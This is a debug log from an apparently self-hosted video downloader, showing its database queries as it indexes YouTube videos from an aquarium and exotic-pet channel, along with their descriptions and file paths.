idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:14.650 [debug] QUERY OK source="media_items" db=0.3ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116192] 11:13:14.650 [debug] Current batch of media processed. Will check again in 1000ms 11:13:15.651 [debug] Current batch of media processed. Will check again in 1000ms 11:13:16.652 [debug] Current batch of media processed. Will check again in 1000ms 11:13:17.653 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 772, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", "id" => "FCVuWcU475c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FCVuWcU475c", "playlist_index" => 13, "timestamp" => 1745158395, "title" => "I Got a Pet Dragon...", "upload_date" => "20250420"} 11:13:17.654 [debug] QUERY OK source="sources" db=0.2ms idle=1958.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:17.654 [debug] QUERY OK source="sources" db=0.1ms idle=1958.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:17.655 [debug] QUERY OK source="media_items" db=0.4ms idle=1959.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-20 14:13:15Z], 32] 11:13:17.656 [debug] QUERY OK source="media_items" db=1.2ms idle=1085.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Got a Pet Dragon...", "e1be9076-642b-4f3c-836f-b6dfcb311cd4", "FCVuWcU475c", false, "https://www.youtube.com/watch?v=FCVuWcU475c", 32, [], 772, false, 13, "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", false, false, 98, ~U[2025-04-20 14:13:15Z], ~U[2026-06-03 15:13:17Z], ~U[2026-06-03 15:13:17Z], "I got a pet dragon! But will it be a good pet?\n\nThere is a species of lizard that looks exactly like a real-life dragon: The red eyed crocodile skink! Watch to learn if keeping a pet dragon is a good idea...\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🐲 Gizmo\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nToday we buy the viral TikTok pet dragon and build its dream home ecosystem. This $5,000 terrarium has heaps of live plants, a pond filled with real fish and even a giant castle! \n\nIn this adventure-filled episode, we get the viral exotic pet that looks like a real dragon: a red eyed crocodile skink! We also build a DIY 3D printed castle for him to explore, travel to the desert to find dragons in the wild and even feed my rescue pet Alaskan King Crab in the studio! \n\nWatch until the end to see my pet dragon Gizmo explore his 3D printed Disney-style castle! This video is perfect for anyone who loves exotic pets, rare animals, DIY projects or is just interested in what it takes to keep a dragon as a pet! \n\nIf you have any comments, suggestions or questions for this pet dragon video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Gizmo\" so I notice you 👑🐉\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Got a Pet Dragon...", "FCVuWcU475c", "https://www.youtube.com/watch?v=FCVuWcU475c", 32, 772, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e042000 - I Got a Pet Dragon....mkv", false, ~U[2025-04-20 14:13:15Z]] 11:13:17.657 [debug] QUERY OK source="sources" db=0.2ms idle=86.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:17.657 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:17.657 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116193] 11:13:17.658 [debug] Current batch of media processed. Will check again in 1000ms 11:13:18.658 [debug] Current batch of media processed. Will check again in 1000ms 11:13:19.660 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 612, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", "id" => "G6HL0WyBDMM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G6HL0WyBDMM", "playlist_index" => 14, "timestamp" => 1741450649, "title" => "Raising Tadpoles to Frogs (100 Day Evolution)", "upload_date" => "20250308"} 11:13:19.662 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=965.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:13:19.663 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=967.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:19.665 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=968.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-08 16:17:29Z], 32] 11:13:19.667 [debug] QUERY OK source="media_items" db=1.3ms idle=970.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising Tadpoles to Frogs (100 Day Evolution)", "ee4b0665-0962-42c2-8947-70450112a6cc", "G6HL0WyBDMM", false, "https://www.youtube.com/watch?v=G6HL0WyBDMM", 32, [], 612, false, 14, "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", false, false, 98, ~U[2025-03-08 16:17:29Z], ~U[2026-06-03 15:13:19Z], ~U[2026-06-03 15:13:19Z], "Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising Tadpoles to Frogs (100 Day Evolution)", "G6HL0WyBDMM", "https://www.youtube.com/watch?v=G6HL0WyBDMM", 32, 612, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", false, ~U[2025-03-08 16:17:29Z]] 11:13:19.668 [debug] QUERY OK source="sources" db=0.2ms idle=93.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:13:19.668 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:13:19.668 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116194] 11:13:19.668 [debug] Current batch of media processed. Will check again in 1000ms 11:13:20.669 [debug] Current batch of media processed. Will check again in 1000ms 11:13:21.670 [debug] Current batch of media processed. Will check again in 1000ms 11:13:22.671 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 503, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued 